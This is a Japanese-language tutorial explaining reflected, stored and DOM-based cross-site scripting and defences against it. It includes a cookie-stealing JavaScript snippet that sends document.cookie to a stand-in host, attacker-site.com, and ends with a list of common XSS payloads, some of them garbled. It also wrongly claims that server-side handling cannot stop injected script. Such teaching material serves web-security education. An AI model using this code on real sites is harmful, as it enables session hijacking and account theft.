クロスサイトスクリプティング (XSS) は、Web アプリケーションで最も一般的なセキュリティ脆弱性の一つです。この脆弱性を利用すると、攻撃者は正規の Web ページに悪意のあるスクリプト (通常は JavaScript) を埋め込むことができます。ユーザーがそのページを訪問すると、埋め込まれたスクリプトが実行され、ユーザーを攻撃する目的が達成されます。XSS 脆弱性は、他の脆弱性と組み合わされることで、より壊滅的な結果をもたらすことがあります。
XSS の種類
XSS 脆弱性にはいくつかの形態があり、主に以下の 3 種類に分類されます。それぞれ、攻撃の発見方法や利用方法に違いがあります。
反射型 XSS
反射型 XSS は、非永続的な攻撃です。攻撃者は Web ページに悪意のあるコードを挿入し、ユーザーがそのページを閲覧した際に、ページ内の HTML コードとして埋め込まれたスクリプトが実行され、ユーザーを攻撃します。
ユーザーからの入力を受け取り、それをサーバー側で適切にフィルタリングやエスケープ処理せずに HTML コードに直接埋め込むことが、XSS 脆弱性の典型的な特徴です。このような処理が行われない場合、攻撃は容易になります。
例えば、入力フィールドに以下の JavaScript コードを挿入した場合を考えます。
<script>alert('XSS')</script>
このコードが実行されると、アラートボックスが表示されます。もしページ上にアラートボックスが表示された場合、挿入した悪意のあるコードが実行されたことになります。
この単純なテストにより、以下の 2 点が明確になります。まず、name パラメータの内容は、ブラウザに返される任意のデータで置き換えることができること。次に、サーバーサイドのアプリケーションがデータをどのように処理しても、JavaScript コードの送信を防ぐことはできないことです。データが送信されると、そのコードは実行されます。
反射型 XSS の悪用方法
反射型 XSS の最も単純な攻撃の一つは、認証済みユーザーのセッショントークンを盗むことです。セッションを乗っ取った攻撃者は、そのユーザーがアクセスできるすべてのデータや機能にアクセスできるようになります。
攻撃者が作成する悪意のあるコードは、以下のようになります。
var stolenCookie = document.cookie;
var attackerDomain = "http://attacker-site.com/";
var img = new Image();
img.src = attackerDomain + stolenCookie;
このコードは、ユーザーのブラウザから攻撃者が所有するドメイン (例: attacker-site.com) に対してリクエストを送信させます。このリクエストには、ユーザーが現在アプリケーションにログインしているセッション情報が含まれます。
保存型 XSS
保存型 XSS は、ユーザーによって送信されたデータがデータベースに保存され、その後、フィルタリングやエスケープ処理なしに他のユーザーに表示される場合に発生します。このタイプの XSS は、永続的な性質を持つため、より深刻なセキュリティ脅威となります。
保存型 XSS 脆弱性を悪用する攻撃は、少なくとも 2 回のアプリケーションへのリクエストを必要とします。攻撃者は最初のPOSTリクエストで JavaScript を送信し、アプリケーションはそのコードを保存します。次に、被害者がその悪意のあるコードが含まれるページを閲覧すると、JavaScript が実行されます。
攻撃者は、アプリケーションに特別に細工されたデータを送信し、被害者がそれを表示するのを待ちます。もし被害者の中に管理者権限を持つユーザーがいれば、攻撃者はアプリケーション全体を完全に侵害できる可能性があります。
DOM 型 XSS
反射型 XSS と保存型 XSS は、ユーザーが制御できるデータをアプリケーションが取得し、それを危険な方法でユーザーに返すという共通のパターンを示します。しかし、DOM 型 XSS ではこのパターンは必ずしも当てはまりません。この脆弱性では、攻撃者の JavaScript は以下のような経路で実行されます。
- ユーザーが、攻撃者によって細工された URL をリクエストします。この URL には、埋め込まれた JavaScript が含まれています。
- サーバーからの応答には、攻撃者のコードは直接含まれていません。
- ユーザーのブラウザがこの応答を処理する際に、前述のスクリプトが実行されます。
Web ページには多くの要素が含まれており、ブラウザがページをロードすると、トップレベルの Document オブジェクトが作成されます。その後、各ページ要素に対応する子 Document オブジェクトが生成されます。これらのオブジェクトは、プロパティ、メソッド、イベントを持ちます。JavaScript を使用してこれらの DOM オブジェクトを操作することで、ページの内容を動的に変更できます。つまり、クライアントサイドのスクリプトは DOM を介してページの内容を変更し、DOM からデータを取得してローカルで実行できます。この特性を利用して、XSS 脆弱性を悪用することが可能です。
DOM 型 XSS をトリガーする可能性のあるプロパティやオブジェクトには、以下のようなものがあります。
document.referrerwindow.namelocationオブジェクト (例:location.hash)innerHTMLプロパティdocument.write()メソッド
XSS 対策
XSS 攻撃を防ぐための対策は以下の通りです。
- 入力値のサニタイズ: HTML タグの山括弧 (
<,>) のような特殊文字をフィルタリングまたはエスケープ処理します。htmlentities()やhtmlspecialchars()のような関数が利用できます。ただし、これらの関数は単一引用符 (') などのエスケープに完全に対応していない場合があり、SQL インジェクション攻撃を防ぐには不十分な場合があります。 - Cookie の保護: 機密性の高い Cookie には
HttpOnly属性を設定します。これにより、クライアントサイドの JavaScript (document.cookie) から Cookie へのアクセスを防ぐことができます。この HTTP ヘッダーはサーバーサイドで設定する必要があります。 - URL パラメータのエンコード: 信頼できない値を URL パラメータとして出力する前に、URL エンコード処理を行います。また、URL パラメータから値を取得する際には、その形式が期待されるもの(例: URL 形式)であるか検証する必要があります。
- バックエンドでのフィルタリング: バックエンドの API でも、重要な特殊文字のフィルタリング処理を実装することが重要です。
以下に、一般的に利用される XSS のペイロード例をいくつか示します。
<script>alert("XSS")</script>
<meta http-equiv="refresh" content="1;url=http://example.com/">
<iframe name="I1" src="http://example.com/" width="0" height="0"></iframe>
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im∨t'ja&ar;script:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre∨ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>